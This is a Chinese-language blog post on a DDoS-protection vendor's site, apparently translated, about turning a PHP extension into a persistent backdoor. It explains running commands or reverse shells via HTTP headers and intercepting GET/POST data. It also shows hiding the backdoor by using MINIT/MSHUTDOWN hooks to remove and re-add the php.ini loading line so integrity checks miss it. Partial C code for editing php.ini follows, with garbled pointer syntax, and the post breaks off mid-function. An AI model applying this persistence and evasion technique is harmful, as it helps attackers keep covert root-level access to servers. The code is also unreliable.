DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > WEB安全 > 正文

修改PHP扩展作为持久后门

09-17 WEB安全

本文的重点是:
1.如何减少tracks
2.连接PHP函数并从Red Team中提取有用信息
3.拦截GET / POST参数PS:示例在PHP 7环境中进行测试(PHP 5和PHP 7 API内部之间有变化)
0×00 简介
1.如果在PHP中添加PHP扩展,PHP解释器将在启动时加载PHP.ini文件(extension = path / to / our / extension)
2.在PHP扩展中,我们主要关注4个hooks:MINIT&MSHUTDOWN,以及RINIT和RSHUTDOWN。当解释器启动和停止时,M 以root身份执行(通常)。R 在作为服务器用户执行。
3.我们可以从请求中读取HTTP头并触发任何操作(例如,执行命令或启动反向shell)。为了保持对受感染服务器的访问,PHP扩展是一个非常好的选择。我们可以使用合法的HTTP请求与这种后门进行交互(如推荐文章中所示),因为防火墙和网络规则无法检测到我们。但是想要加载我们的扩展,我们就需要修改php.ini文件重新加载配置。如果未恢复php.ini,那么其大小,哈希和时间戳将不同,操作将公开,蓝队获胜,我们输了。当然,php.ini修改应该会被文件完整性检查器立即检测到,但实际上SOCs往往忽略这种警报
0×01 php.ini未被修改
我们知道当我们修改了php.ini时会生成一个警报。可是如果当有人SSH连接到服务器,对php.ini进行cat操作,我什么也看不见。进行ls操作,时间戳也是好的。重新启动服务器只是为了再次检查没有发生任何奇怪的事情。我们的后门还活着。这是为什么?
当加载我们的PHP扩展时,我们不需要在php.ini文件中保留“extesion = path/to/our.so”这一行。我们可以程序化地将其恢复到原始状态。利用MINIT  hook,我们可以删除添加到php.ini的行,所以当加载扩展时,这个hook将以root(通常)触发,我们可以编辑php.ini文件而不会出现问题。同样,我们可以使用MSHUTDOWN插入一段代码,用于再次将行添加到php.ini中,因此当服务器重新启动时,将再次添加“extension = ...”行。当加载扩展时,将执行MINIT并关闭cicle。使用这种方法,php.ini文件在大部分时间内都不会显示任何奇怪的内容。泛型函数可以表示如下:
 / This code sucks
int modifyExtension(int action) {
    char source = NULL;
    char needle = NULL;
    FILE fp;
    size_t newSize;
    fp = fopen(PHPINI, "a+");
    if (fp != NULL) {
        if (action == 1) {
            if (fseek(fp, 0L, SEEK_END) == 0) {
                long bufsize = ftell(fp); // FileSize
                if (bufsize == -1) {
                    return -1;
                }
                source = malloc(sizeof(char )  (bufsize + 1)); // Alloc memory to read php.ini
                if (fseek(fp, 0L, SEEK_SET) != 0) {
                    return -1;
                    free(source);
                }
                newSize = fread(source, sizeof(char), bufsize, fp);
                if (ferror(fp) != 0) {
                    return -1;
                    free(source);
                }          
                else {
                    source[newSize++] = '\0';
                    needle = strstr(source, LOCATION);
                    if (needle != 0) {
                        FILE tmp = fopen("/tmp/.tmpini", "w");
                        fwrite(source, (needle - source - 11), 1, tmp); //11 = len("\nextension=kk.so")

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://sskjddosgb11.ddosgb.com//web/41.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 698415访问次数
  • 建站天数
  • 友情链接

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X